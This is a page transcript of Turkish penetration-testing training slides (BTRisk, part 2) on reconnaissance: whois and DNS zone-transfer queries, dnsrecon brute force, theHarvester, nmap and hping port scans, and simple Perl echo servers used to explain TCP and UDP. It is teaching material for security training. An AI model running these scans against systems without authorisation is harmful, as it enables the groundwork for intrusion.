Windows Server 2012 Network ve Dosya Sistemi Yenilikleri
Windows Server 2012 Network ve Dosya Sistemi YenilikleriWindows Server 2012 Network ve Dosya Sistemi Yenilikleri
Windows Server 2012 Network ve Dosya Sistemi Yenilikleri
 
I pv6 icmp_udp
I pv6 icmp_udpI pv6 icmp_udp
I pv6 icmp_udp
 
Sizma testi bilgi toplama
Sizma testi bilgi toplamaSizma testi bilgi toplama
Sizma testi bilgi toplama
 
4.modül
4.modül4.modül
4.modül
 
Tcp ip
Tcp ipTcp ip
Tcp ip
 
Ağ Temelleri
Ağ TemelleriAğ Temelleri
Ağ Temelleri
 
AğAğ
 
Microsoft Azure Sanal Ağ Temelleri
Microsoft Azure Sanal Ağ TemelleriMicrosoft Azure Sanal Ağ Temelleri
Microsoft Azure Sanal Ağ Temelleri
 
Network - Bilgisayar Ağlarına Giriş
Network - Bilgisayar Ağlarına Giriş Network - Bilgisayar Ağlarına Giriş
Network - Bilgisayar Ağlarına Giriş
 
IP, IGP, MPLS Eğitim Sunumu @Çankaya Üniversitesi
IP, IGP, MPLS Eğitim Sunumu @Çankaya Üniversitesi IP, IGP, MPLS Eğitim Sunumu @Çankaya Üniversitesi
IP, IGP, MPLS Eğitim Sunumu @Çankaya Üniversitesi
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyeti
 
Siber Güvenlik 1. hafta
Siber Güvenlik 1. haftaSiber Güvenlik 1. hafta
Siber Güvenlik 1. hafta
 
Wireshark.pdf
Wireshark.pdfWireshark.pdf
Wireshark.pdf
 
Hazi̇ran
Hazi̇ranHazi̇ran
Hazi̇ran
 
IPv6 Adresleme Erman YıLmaz
IPv6 Adresleme Erman YıLmazIPv6 Adresleme Erman YıLmaz
IPv6 Adresleme Erman YıLmaz
 
Infraskope Security Event Manager
Infraskope  Security  Event  ManagerInfraskope  Security  Event  Manager
Infraskope Security Event Manager
 
Ozgur Yazilimlar ile VoIP Guvenlik Denetimi
Ozgur Yazilimlar ile VoIP Guvenlik DenetimiOzgur Yazilimlar ile VoIP Guvenlik Denetimi
Ozgur Yazilimlar ile VoIP Guvenlik Denetimi
 

Más de BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri

Más de BTRisk Bilgi Güvenliği ve BT Yönetişim Hizmetleri (19)

BTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale EgitimiBTRisk - Siber Olay Tespit ve Mudahale Egitimi
BTRisk - Siber Olay Tespit ve Mudahale Egitimi
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-3
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-2
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
 
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
 
Yazıcı Güvenliği
Yazıcı GüvenliğiYazıcı Güvenliği
Yazıcı Güvenliği
 
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMUBTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
 
Kali Linux Hakkında Herşey
Kali Linux Hakkında HerşeyKali Linux Hakkında Herşey
Kali Linux Hakkında Herşey
 
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi EğitimiBTRisk iOS Mobil Uygulama Denetimi Eğitimi
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
 
Unix Denetim Dokümanı
Unix Denetim DokümanıUnix Denetim Dokümanı
Unix Denetim Dokümanı
 
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi EğitimiBTRisk Yazılım Güvenliği Yönetimi Eğitimi
BTRisk Yazılım Güvenliği Yönetimi Eğitimi
 
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme SunumuBTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
 
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi SunumuBTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
BTRisk ISO 27001:2013 Bilgilendirme ve İç Denetim Eğitimi Sunumu
 
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi SunumuBilgi Güvenliği Farkındalık Eğitimi Sunumu
Bilgi Güvenliği Farkındalık Eğitimi Sunumu
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi EğitimiBTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
BTRİSK Web Uygulama Güvenliği Denetimi Eğitimi
 
BTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 YazılımıBTRWATCH ISO27001 Yazılımı
BTRWATCH ISO27001 Yazılımı
 
Jmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirmeJmeter ile uygulama katmanında yük testi gerçekleştirme
Jmeter ile uygulama katmanında yük testi gerçekleştirme
 
ISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişikliklerISO 27001:2013 versiyonu ile gelen değişiklikler
ISO 27001:2013 versiyonu ile gelen değişiklikler
 
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesiAndroid Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
Android Uygulamaların Tersine Mühendislik Yöntemi ile İncelenmesi
 

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2

  • 1. blog.btrisk.com @btrisk /btrisktv /btrisk UYGULAMALI SIZMA TESTİ EĞİTİMİ-2
  • 2. BTRİSK HAKKINDA TANIŞMA Pentest & BT Denetimi ISO27001 Danışmanlık Hizmetleri BG Operasyon Hizmetleri
  • 4. İÇERİK • Hedef IP Aralığı Tespiti • Canlı Sunucu Tespiti • Port Tarama • Servis ve İşletim Sistemi Tespiti • Kullanıcı Tespiti
  • 5. HEDEF IP ARALIĞI TESPİTİ IP Aralıkları Tespit Yöntemleri Eğer hedef kurumun IP adreslerini tespit etmek durumundaysak izleyebileceğimiz yöntemler aşağıdaki gibidir (bu yöntemler sırayla kullanılmak durumunda değildir, bir adımda elde edilen bilgiler diğer bir adımda tekrar sorgulama yapmak için kullanılabilir): • 1.Adım: Internet adres otoritelerinin sorgulama imkanlarını kullanmak • 2.Adım: Hedef kuruma ait olabilecek sunucu alan adları ve IP adreslerini çeşitli yöntemlerle tespit etmek ve (bu bilgileri kullanarak) IP Whois sorgulamaları
  • 6. HEDEF IP ARALIĞI TESPİTİ Dünya İnternet Adres Otoriteleri IANA – Internet Assigned Numbers Authority AFRINIC (Afrika) APNIC (Asya Pasifik) ARIN (Kuzey Amerika) LACNIC (Latin Amerika) RIPE NCC (Avrupa, Orta Asya, Orta Doğu)
  • 7. HEDEF IP ARALIĞI TESPİTİ Türkiye'nin dahil olduğu coğrafyadan sorumlu otorite RIPE NCC
  • 8. HEDEF IP ARALIĞI TESPİTİ Internet üzerinde iletişim kurmak için ihtiyacınız olacak IP adresini iki şekilde alabilirsiniz: • Birinci yol olarak bir barındırma hizmeti firmasının veya abonesi olduğunuz bir ISP (İnternet Servis Sağlayıcı - İSS) firmasının size sabit olarak veya dinamik olarak atayacağı bir IP adresini kullanmaktır. Dinamik olarak IP adresinin atanmasından kasıt cihaz veya sunucunuzu her yeniden başlatışınızda müsait olan bir IP adresinin size atanması, statik olarak atanmasından kasıt ise cihaz veya sunucunuzu tekrar başlatsanız da aynı IP adresini kullanmaya devam etmenizdir. • İkinci yol ise sizin bölgesel internet adres otoritesinden kendi adınıza ayırtmış olduğunuz IP adresleri veya IP adres aralığından bir adresi sunucunuza atamanızdır.
  • 9. HEDEF IP ARALIĞI TESPİTİ TESPİTİ ZOR IP ADRES ARALIKLARI Eğer kurum bir ISP kuruma ait bir IP aralığını kullanıyor, ancak hali hazırda bu aralıkta bulunan sunuculardan herhangi bir HTTP servisi vermiyor veya bu IP adresleri ile ilgili herhangi bir DNS kaydı tanımlamamışsa bu aralığı bulmak pek mümkün değildir. Çünkü IP aralığı tespit yöntemlerimiz kurumun adının internet otoritelerinin veritabanlarında geçiyor olmasına (ki ISP IP aralığının kullanılması durumunda bu mümkün olmayacaktır), verdiği HTTP servisleri ve bu servisleri verdiği sunucuların alan adları içinde kurum adının geçiyor olmasına, veya yapacağımız forward, zone transfer ve bruteforce DNS sorgularında bu IP adreslerinin görünmesi üzerine kuruludur. Bu açılardan hiçbir iz bırakılmamışsa bizim bu IP aralığını tespit etmemiz zordur. (ör: FKM sistemlerinin IP adresleri)
  • 10. HEDEF IP ARALIĞI TESPİTİ Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
  • 11. HEDEF IP ARALIĞI TESPİTİ Internet Adres Otoritelerinin Sorgu İmkanlarını Kullanmak
  • 12. HEDEF IP ARALIĞI TESPİTİ IP Whois Araçlarını Kullanmak # dmitry 193.186.4 dmitry v.b. araçlarla internet adres otoritelerinin sunduğu ip whois servisleri belirli adresler için sorgulanarak bu adreslerin hangi aralıkta olduğu ve bu aralıkların sahipliğine ilişkin bilgi edinebiliriz
  • 13. HEDEF IP ARALIĞI TESPİTİ dmitry projesi iwhois.h dmitry projesi iwhois.c IP Whois Araçlarını Kullanmak
  • 14. HEDEF IP ARALIĞI TESPİTİ EGZERSİZ • Kurumunuzun sahibi olduğu IP aralıklarını adres otoritelerinin sağladığı imkanlardan faydalanarak tespit ediniz. • Elde ettiğiniz yanıtlarda sosyal mühendislik saldırılarında kullanılabilecek nitelikte bir bilgi var mı?
  • 15. HEDEF IP ARALIĞI TESPİTİ Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti Bing domain:btrisk.com
  • 16. HEDEF IP ARALIĞI TESPİTİ Açık Referanslardan Belirli Sunucu Tiplerinin Tespiti Google site:btrisk.com -site:www.btrisk.com
  • 17. HEDEF IP ARALIĞI TESPİTİ Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
  • 18. HEDEF IP ARALIĞI TESPİTİ Web Sunucularının Spider Edilmesi ve İlişkili Diğer Web Sunucularının Tespiti
  • 19. HEDEF IP ARALIĞI TESPİTİ Kali # host -a btrisk.com DNS Sorguları (Type ANY sorgusu) Type ANY sorgularında • Sorgulanan alan adının A (Address) tipindeki kaydı • MX (Mail eXchange) sunucu kayıtları • NS (Name Server) sunucu kayıtları döner
  • 20. HEDEF IP ARALIĞI TESPİTİ Windows (nslookup) > set type=all DNS Sorguları (Type ANY sorgusu)
  • 21. HEDEF IP ARALIĞI TESPİTİ EGZERSİZ • "host" komutu ile belli bir alan adı için yaptığınız bir DNS sorgusunu Wireshark ile inceleyiniz. Sorgulanan kaydın tipi nedir? • "host" komutunun neticesinde sorgunun iletildiği sunucu IP adresi nedir? • DNS sorgunuzu 4.4.4.4 IP adresine iletecek komut değişikliğini yapınız.
  • 22. HEDEF IP ARALIĞI TESPİTİ DNS Sorguları (Type AXFR sorgusu – Zone Transfer) # dig axfr alanadi @dnssunucusu
  • 23. HEDEF IP ARALIĞI TESPİTİ DNS Sorguları (Type AXFR sorgusu – Zone Transfer)
  • 24. HEDEF IP ARALIĞI TESPİTİ DNS Bruteforce Sorguları
  • 25. HEDEF IP ARALIĞI TESPİTİ # dnsrecon -d google.com -D /usr/share/golismero/wordlist/dns/dnsrecon.txt -t brt DNS Bruteforce Sorguları dnsrecon aracının CNAME, A ve AAAA (IPv6) tipinde sorgular yaptığı görülüyor
  • 26. HEDEF IP ARALIĞI TESPİTİ DNS Reverse IP (PTR tipi) Sorguları # dnsrecon -r 31.210.54.1-31.210.54.254
  • 27. HEDEF IP ARALIĞI TESPİTİ Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester # theharvester -d btrisk.com -b google -l 100 -h
  • 28. HEDEF IP ARALIĞI TESPİTİ Çeşitli kaynaklardan hedef verisi toplayan araçlara örnek – the Harvester The Harvester aracının arama motorlarından web sunucusu, e-posta adresi sorguladığı, Shodan veritabanından sorgulama yaptığı görülüyor
  • 29. CANLI SUNUCU TESPİTİ • Halka açık kaynaklardan IP aralıkları, alan adları ve DNS kayıtlarını elde ettikten veya sızma testi muhatabı tarafından belirli bir IP aralığı verildikten sonra sıra bu aralıkta aktif olabilecek sunucuların tespitine gelir. • Burada hedef aralığın genişliği ve kurumun güvenlik ihtiyaçlarının düzeyi yapılacak taramaların yoğunluğu ile ilgili bize yön gösterecektir. • Bu noktadan sonra hedef ağ ile doğrudan etkileşim artarak başlayacaktır. Bu nedenle stratejimiz en az trafik doğuracak işlemlerden başlayarak ilerlemek olacaktır.
  • 30. CANLI SUNUCU TESPİTİ TEMEL TCP / IP BİLGİSİ TCP / IP paketine baktığımızda kabaca 5 katman vardır (OSI modeli ve bunların TCP/IP ile ilişkilendirilmesine girmeyeceğiz): • Fiziksel katman: Paketin tamamını ifade eder, incelememiz açısından bir önemi bulunmamaktadır. • Veri bağlantı katmanı (data link layer): Paketin yerel ağda iletimi için önemli başlık alanıdır. MAC adreslerinin esas alındığı bir katmandır. Yerel alan saldırıları açısından bilinmesi önemlidir, ancak bu noktada derinlemesine değinmeyeceğiz. • Ağ katmanı (network layer): İncelememiz açısından önemli olup IP adreslerinin paket iletiminde önem kazandığı katmandır. Bu adresler özellikle paketler yerel ağdan çıktığı durumlarda önemlidir, zira veri bağlantı katmanı yerel ağdan çıkıldığında paketten sıyrılır ve sonraki LAN veya WAN protokollerine uygun olarak farklı ceketlere sahip olarak hedefine doğru yoluna devam eder.
  • 31. CANLI SUNUCU TESPİTİ TEMEL TCP / IP BİLGİSİ (devamı) • Taşıma katmanı (transport layer): Bu katman kabaca iletilen paketlerin üzerinde seyahat ettiği hattın ihtiyaçlarına bağlı olarak veya farklı paketlerin farklı sıralarda hedefe ulaşabileceği gerçeği nedeniyle paketlerin doğru sırada ve tam olarak karşı tarafa iletilmesinden sorumlu ağ protokol katmanıdır. Ancak TCP ve UDP için anlamlı olan bu tanım ICMP için pek bir anlam ifade etmeyecektir. Bu nedenle her ağ protokolünün tüm bu katmanlara karşılık gelmesini beklememek gereklidir. Bu gerçek OSI teorik modeli için daha da doğrudur, çünkü TCP/IP paketlerini 7 katmandan oluşan bu modelle eşleştirmek daha da zordur. • Uygulama katmanı (application layer): Bu katman da daha çok TCP ve UDP protokolleri ile daha iyi anlam bulan bir katmandır. İletilen paketin içinde uygulama seviyesinde anlam kazanan verilerin bulunduğu bölümdür. Taşıma ve Uygulama katmanlarına örnekleri bir HTTP paketi ve bir DNS paketi içinde inceleyeceğiz.
  • 32. CANLI SUNUCU TESPİTİ Yerel ağ'da MAC adresi ile iletişim kurulur. IP paketini gönderen istemci ya bu IP adresinin sahibini sorgular ya da mevcutsa ARP cache'inde bulunan MAC adresini kullanır. Gönderilen paketin içinde hedef IP adresi vardır, ancak Layer 2 cihazlar (switch'ler) MAC adresini esas alarak yönlendirme yapar. ARP Poisoning ile araya girme yöntemi bu tasarım özelliğini kullanır. HTTP Paket Örneği (Veri Bağlantı Katmanı) IPv4
  • 33. CANLI SUNUCU TESPİTİ Güvenlik açısından önemli IP başlık alanları: • Kaynak ve hedef IP adresleri • Time to live alanı • Flags, Fragment Offset ve Identification alanları • Source Routing option alanları HTTP Paket Örneği (Ağ Katmanı)
  • 34. CANLI SUNUCU TESPİTİ Güvenlik açısından önemli TCP başlık alanları: • Kaynak ve hedef port numaraları: • Flags alanı • TCP Sequence ve Acknowledgement sıra numaraları HTTP Paket Örneği (Taşıma Katmanı)
  • 35. CANLI SUNUCU TESPİTİ HTTP Paket Örneği (Uygulama Katmanı) Wireshark bu paketin uygulama katmanında HTTP protokolünün taşındığını nasıl anlamış olabilir?..
  • 36. CANLI SUNUCU TESPİTİ EGZERSİZ • Kali üzerinde "python –m SimpleHTTPServer 500" komutu ile TCP 500 portundan dinleyen basit bir HTTP sunucusunu başlatınız • Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye başlayınız • Host bilgisayarınızdan browser ile Kali bilgisayarınızın TCP 500 portuna bağlanınız (ör: http://192.168.163.128:500 şeklinde) • Wireshark'ın TCP 500 portu ile yapılan iletişimi HTTP protokolü olarak yorumlamasını sağlayınız İPUCU: Wireshark'ın "Decode As" özelliğini kullanınız
  • 37. CANLI SUNUCU TESPİTİ DNS Paket Örneği (Taşıma Katmanı)
  • 38. CANLI SUNUCU TESPİTİ DNS Paket Örneği (Uygulama Katmanı)
  • 39. CANLI SUNUCU TESPİTİ ICMP Paket Örneği (Ağ Katmanı) ICMP'nin IP protokol numarası "1"
  • 40. CANLI SUNUCU TESPİTİ ICMP Paket Örneği ICMP için bir port kavramı bulunmamaktadır ICMP paketlerinin türünü Type ve Code alanları belirler
  • 41. CANLI SUNUCU TESPİTİ EGZERSİZ • Kali üzerinde "eth0" arayüzünü Wireshark ile dinlemeye başlayınız • Kali'den host (Windows) bilgisayarınıza doğru "ping" komutunu çalıştırınız • Host (Windows) bilgisayarınızdan Kali'ye doğru "ping" komutunu çalıştırınız • Her iki istek arasındaki farkları Wireshark'tan inceleyiniz
  • 42. CANLI SUNUCU TESPİTİ "nmap" opsiyonlarının anlamları -sn (port tarama yapma) -PE (Echo Request) -PP (Timestamp) -PM (Address Mask Request) ICMP Tarama # nmap -sn -PE -PP -PM 192.168.165.0/24
  • 43. CANLI SUNUCU TESPİTİ Lokal Subnet'te Sunucu Tespiti Nmap'in lokal ağda sunucu tespitinde ilk olarak izlemeyi tercih ettiği yol bizim tarama opsiyonlarımızdan farklı.
  • 44. CANLI SUNUCU TESPİTİ Lokal Subnet'te Sunucu Tespiti Nmap'in ürettiği paketleri incelediğimizde biz ICMP tarama yapmak istemiş olsak da nmap'in lokal ağda öncelikle ARP request paketlerini kullandığını görüyoruz. Bu yöntem hedef sunucular açısından daha az şüphe çekici bir yöntem. Ama yerel ağı dinleyen bir IDS için ICMP taraması kadar bariz bir tarama işlemi.
  • 45. CANLI SUNUCU TESPİTİ İnternet'te sık rastlayabileceğiniz portlar • HTTP (TCP 80) • HTTPS (TCP 443) • DNS (UDP 53, TCP 53) • IPSEC (UDP 500 - IKE protokülü) • SMTP (TCP 25) • SSH (TCP 22) • SIP (TCP/UDP 5060, 5061) • FTP (TCP 21) • TELNET (TCP 23) • CHECKPOINT (TCP 264 - Topoloji servisi) Sık Rastlanan Servis Portlarının Taranması
  • 46. CANLI SUNUCU TESPİTİ İntranet'te sık rastlayabileceğiniz portlar: • NETBIOS over TCP – NBT ( (UDP 137 - Name servisi) • SMB (TCP 139 – Dosya ve yazıcı paylaşımı için kullanılır) • CIFS (TCP 445 – SMB’nin yerini alan Windows dosya paylaşım protokolü) • RDP (TCP 3389) • HTTP (TCP 80) • HTTPS (TCP 443) • HTTP PROXY (TCP 8080, TCP 3128 - Squid proxy servisi) • SNMP (UDP 161) • LDAP (TCP 389) • FTP (TCP 21) • TELNET (TCP 23) • RPC (UDP 111) • NFS (TCP 2049) • MSSQL (TCP 1433) • MySQL (TCP 3306) • ORACLE (TCP 1521) Sık Rastlanan Servis Portlarının Taranması
  • 47. CANLI SUNUCU TESPİTİ # nmap -sS - p21,22,23,25,53,80,139,264,389,443,445,1433,1521,2049,3128,3306,3389, 5060,8080 192.168.163.129 Sık Rastlanan Servis Portlarının Taranması (TCP Tarama)
  • 48. CANLI SUNUCU TESPİTİ Sık Rastlanan Servis Portlarının Taranması (UDP Tarama) # nmap -sU -p53,111,121,137,161,500,5060 192.168.163.129
  • 49. CANLI SUNUCU TESPİTİ Unique isimlerinden <00> – Workstation adı, Group isimlerinden <00> – Workgroup, domain adı anlamına gelir. Ayrıca bazı Netbios suffix’leri sunucu üzerinde çalışan servisler ve diğer bilgileri ifade eder (örneğin Unique isimlerinden 20 - dosya sunucusu olduğunu, Group isimlerinden 1C domain controller olduğunu belirtir). NetBIOS İsim Servisinin Taranması
  • 50. CANLI SUNUCU TESPİTİ NetBIOS İsim Servisinin Taranması NetBIOS taraması her zaman Windows sunuculara ilişkin veri döndürmez. Seyrek olsa da üzerinde Samba yüklü olan Unix / Linux sunucular da bu taramalarda görünür. Kali üzerinde SMB erişimi için gerekli Samba paketleri zaten yüklü
  • 51. CANLI SUNUCU TESPİTİ NetBIOS İsim Servisinin Taranması NetBIOS name server'ın başlatılması
  • 52. CANLI SUNUCU TESPİTİ NetBIOS İsim Servisinin Taranması
  • 53. CANLI SUNUCU TESPİTİ NetBIOS İsim Servisinin Taranması Kali sunucusunun NetBIOS taramasında görünmesi
  • 54. CANLI SUNUCU TESPİTİ EGZERSİZ • Öğrendiğiniz canlı sunucu tespit etme yöntemlerini uygulayarak LAB ortamındaki bilgisayarları tespit ediniz. • Canlı sunucu tespiti sırasında edindiğiniz sunucu adı ve çok kullanılan portlardan tespit ettiklerinizi not ediniz. ÖNEMLİ: Bu aşamada vakit kaybı yaşamamak için Full (yani 1- 65535 arasındaki tüm portlar için) Port Taraması yapmayınız.
  • 55. PORT TARAMA #!/usr/bin/perl use IO::Socket::INET; # flush $| = 1; my ($socket,$client_socket); my ($peeraddress,$peerport); $socket = new IO::Socket::INET ( LocalHost=> '0.0.0.0', LocalPort=> '5000', Proto => 'tcp', Listen => 5, Reuse => 1 ) or die "Soket olusturulamadi : $!n"; print "TCP sunucu dinliyor ...n"; while(1) { $client_socket = $socket->accept(); $peer_address = $client_socket->peerhost(); $peer_port = $client_socket->peerport(); print "Yeni baglanti : $peeraddress, $peerportn "; while(1) { $client_socket->recv($data,1024); print "Istemciden alinan veri : $datan"; if ($data eq "selamn") { $data = "Sana da selam...n"; $client_socket->send($data); } } } $socket->close(); TCP Servis Örneği
  • 56. PORT TARAMA TCP Servis Örneği TCP servisimizi başlatıyoruz
  • 57. PORT TARAMA TCP Servis Örneği Kali'den TCP 5000 portundan dinleyen servise bağlanıyoruz
  • 58. PORT TARAMA TCP Servis Örneği Netcat ile TCP sunucusuna bağlandığımız anda herhangi bir veri iletilmemiş olmasına rağmen bir iletişim gerçekleşmiş. Bu iletişim TCP protokolünün gereği olan TCP el sıkışma (handshake) paketlerinden oluşuyor.
  • 59. PORT TARAMA TCP Servis Örneği Paketler Fonksiyon StatüStatü Fonksiyon SUNUCUİSTEMCİ
  • 60. PORT TARAMA TCP Servis Örneği SYN paketi İstemci sıra numarasını üretiyor
  • 61. PORT TARAMA TCP Servis Örneği Sadece SYN bayrağı işaretli
  • 62. PORT TARAMA TCP Servis Örneği SYN, ACK paketi Sunucu istemci'nin sıra numarasını acknowledge ediyor. Yani istemcinin sıra numarasına "1" ekleyerek geri gönderiyor.
  • 63. PORT TARAMA TCP Servis Örneği SYN, ACK paketi Sunucu kendi sıra numarasını üretiyor
  • 64. PORT TARAMA TCP Servis Örneği SYN ve ACK bayrakları işaretli
  • 65. PORT TARAMA TCP Servis Örneği ACK paketi İstemci sunucu'nun sıra numarasını acknowledge ediyor. Yani sunucunun sıra numarasına "1" ekleyerek geri gönderiyor. 3. paketin iletimiyle birlikte bağlantı kurulmuş oluyor
  • 66. PORT TARAMA TCP Servis Örneği İstemci'den "hello" kelimesini sunucuya gönderiyoruz. Ancak herhangi bir veri alamıyoruz. Bunun sebebi sunucunun sadece "selam" kelimesine yanıt veriyor olması. Veri dönmese de TCP protokolünün gereği olarak sunucudan bir ACK paketinin dönmüş olması lazım.
  • 67. PORT TARAMA TCP Servis Örneği İstemciden giden paketteki veri bölümü
  • 68. PORT TARAMA TCP Servis Örneği Sunucu herhangi bir veri döndürmemesine rağmen istemciden aldığı 6 byte'lık veriyi acknowledge ediyor ve ACK sıra numarasını 6 artırıyor.
  • 69. PORT TARAMA TCP Servis Örneği Bu defa istemci'den "selam" verisini gönderiyoruz. Bir önceki istekten farklı olarak bu defa veri içeren bir yanıt alıyoruz.
  • 70. PORT TARAMA TCP Servis Örneği İstemciden giden paketteki veri bölümü
  • 71. PORT TARAMA TCP Servis Örneği Sunucudan dönen pakette bulunan veri bölümü. Bu paketle sunucu aynı zamanda istemciden bir önceki pakette gelen veri miktarında ACK numarasını da artırıyor.
  • 72. PORT TARAMA TCP Servis Örneği İstemci sunucudan dönen yanıtı aldığını teyit etmek için ACK numarasını sunucunun ilettiği veri miktarı kadar artırarak ACK paketini iletiyor.
  • 73. PORT TARAMA #!/usr/bin/perl use IO::Socket::INET; # flush $| = 1; my ($socket,$received_data); $socket = new IO::Socket::INET ( LocalPort => '5000', Proto => 'udp', ) or die "Soket olusturulamadi : $!n"; print "UDP sunucu dinliyor...n"; while(1) { $socket->recv($received_data,1024); print "Istemcidenalinan veri : $received_datan"; if ($received_data eq "selamn") { $socket->send("Sana da selam...n"); } } $socket->close(); UDP Servis Örneği Şimdi UDP iletişimini analiz etmek üzere aynı fonksiyonaliteyi bir UDP servisi üzerinden sağlayalım.
  • 74. PORT TARAMA UDP Servis Örneği UDP servisimizi başlatıyoruz
  • 75. PORT TARAMA UDP Servis Örneği Yine Netcat ile karşıdaki servise bağlantı kuruyoruz Ancak bu defa karşıdaki servis bir UDP servisi # nc –u 192.168.1.149 5000
  • 76. PORT TARAMA UDP Servis Örneği TCP bağlantısında bu aşamada el sıkışma paketleri iletilmişti. UDP için böyle bir durum söz konusu değil, yani aslında sunucu henüz istemcinin varlığının farkında bile değil.
  • 77. PORT TARAMA UDP Servis Örneği UDP servisine anlamadığı bir istek gönderiyoruz. Servisimiz sadece "selam" isteğine yanıt veriyor. Dolayısıyla herhangi bir yanıt alamıyoruz.
  • 78. PORT TARAMA UDP Servis Örneği Sunucunun isteği aldığını görebiliyoruz
  • 79. PORT TARAMA UDP Servis Örneği Bu iletişimde sadece bir paket yer almış Sunucu tamamen sessiz kalmayı tercih etmiş
  • 80. PORT TARAMA UDP Servis Örneği Bu defa sunucunun anladığı dilden bir istek gönderiyoruz. Sunucu da bize bir yanıt veriyor.
  • 81. PORT TARAMA UDP Servis Örneği Sunucu sadece beklediği bir istek geldiğinde yanıt üretti.
  • 82. TCP ve UDP SERVİSLERİ İNCELEMESİNİN SONUCU • TCP ve UDP servislerinin davranışları içerik itibarıyla aynı olmasına rağmen TCP servisi protokolün çalışma yöntemi nedeniyle servisin doğru istek gönderilmese bile ifşa olmasına neden olmaktadır. • UDP servisi beklediği veri (payload) iletilmezse sessizliğini korumaktadır. Bu davranış eğer firewall yok ise UDP portunun açık olduğu anlamına gelmektedir. Ancak firewall var ise istek paketinin DROP edildiği veya sunucudan dönecek olan ICMP Port Unreachable paketinin filtrelendiği anlamına da gelir. • Bu sebepten dolayı UDP taramalarındaki hız ve kesinlik düşmektedir. PORT TARAMA
  • 83. PORT TARAMA Kapalı TCP Portu Davranışı # hping3 192.168.1.149 -V -c 1 -S -p 5001 "hping" ile kapalı olduğunu bildiğimiz bir TCP portuna 1 adet SYN paketi gönderiyoruz
  • 84. PORT TARAMA Kapalı TCP Portu Davranışı Sunucu kapalı bir TCP portuna istek yapıldığında RST, ACK yanıtı dönüyor
  • 85. PORT TARAMA Kapalı UDP Portu Davranışı "hping" ile kapalı olduğunu bildiğimiz bir UDP portuna 1 adet UDP paketi gönderiyoruz UDP paketinin veri bölümü bulunmuyor
  • 86. PORT TARAMA Kapalı UDP Portu Davranışı Kapalı bir UDP portuna paket gönderildiğinde sunucu ICMP Port Unreachable paketi ile istemciyi bilgilendiriyoruz
  • 87. PORT TARAMA Full TCP Port Tarama Full tarama yapacağımız sunucumuzun açık olan servisleri yukarıdaki gibidir
  • 88. PORT TARAMA Full TCP Port Tarama Tarama yapılacak olan sunucu üzerindeki firewall kurallarını Flush ediyoruz ve herhangi bir kural tanımlı olmadığından emin olmak için kuralları listeliyoruz
  • 89. PORT TARAMA Tüm TCP portları için SYN taraması yapıyoruz. SYN taraması istemci tarafından TCP handshake tamamlanmadan son adımda iletişimin RST paketi ile kesilmesi yöntemi ile yapılır. El sıkışma işleminin tamamlandığı yönteme Connect scan (-sT opsiyonuyla yapılır) adı verilir. Full TCP Port Tarama Firewall aktifken tarama süresi 11,88 sn. Her 2 TCP portumuzu da tespit edebildik.
  • 90. PORT TARAMA Full TCP Port Tarama Bu defa TCP port taramasından önce TCP 80 ve TCP 5000 portları dışındaki tüm portlara yapılan istekleri DROP edecek biçimde firewall kurallarını tanımlıyoruz.
